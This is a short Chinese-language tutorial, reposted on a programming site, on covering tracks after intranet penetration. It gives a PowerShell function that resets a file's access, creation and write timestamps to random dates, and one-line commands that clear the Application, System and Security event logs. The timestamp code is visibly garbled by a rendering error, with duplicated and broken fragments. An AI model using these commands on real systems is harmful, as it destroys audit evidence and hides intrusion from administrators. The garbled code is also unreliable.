首页 > 编程学习 > 内网渗透结束,痕迹清理必备手段

痕迹清理

在我们做完一系列的内网渗透操作后,必然会留下一些蛛丝马迹,因此我们需要给自己”擦屁股“。本篇只介绍如何清除系统日志、修改文件时间戳。

痕迹清理

Powershell 修改文件时间戳

有时候我们在登陆目标桌面后,根据需求可能会动用目标主机上的文件或者文件夹,而一些管理员很久都不会登陆一次主机;设想当管理员一上线看到自己的文件夹日期有异常,是否会怀疑?
Function edit_time(KaTeX parse error: Expected '}', got 'EOF' at end of input: path){date1 =Get-ChildItem |
Select LastWriteTime|Get-Random;date2=Get−ChildItem∣SelectLastWriteTime∣Get−Random;date2 =Get-ChildItem | Select LastWriteTime|Get-Random;date2=GetChildItemSelectLastWriteTimeGetRandom;date3 =Get-ChildItem |
Select LastWriteTime|Get-Random;$(Get-Item path).lastaccesstime=path).lastaccesstime=path).lastaccesstime=date1.LastWriteTime;
$(Get-Item path).creationtime=path).creationtime=path).creationtime=date2.LastWriteTime ;
$(Get-Item path).lastwritetime=path).lastwritetime=path).lastwritetime=date3.LastWriteTime};
edit_time(“C:\Users\saulGoodman\Desktop\工具包\pass.txt”)
图片在这里插入图片描述

Powershell 清除系统日志

当我们做了一些操作都会记录到时间查看器里,而下面的 Powershell 就可清除相关日志:
PowerShell -Command “& {Clear-Eventlog -Log Application,System,Security}”
Get-WinEvent -ListLog Application,Setup,Security -Force | % {Wevtutil.exe cl $_.Logname}
图片在这里插入图片描述


本文链接:https://www.ngui.cc/zz/1995934.html
Copyright © 2010-2022 ngui.cc 版权所有 |关于我们| 联系方式| 豫B2-20100000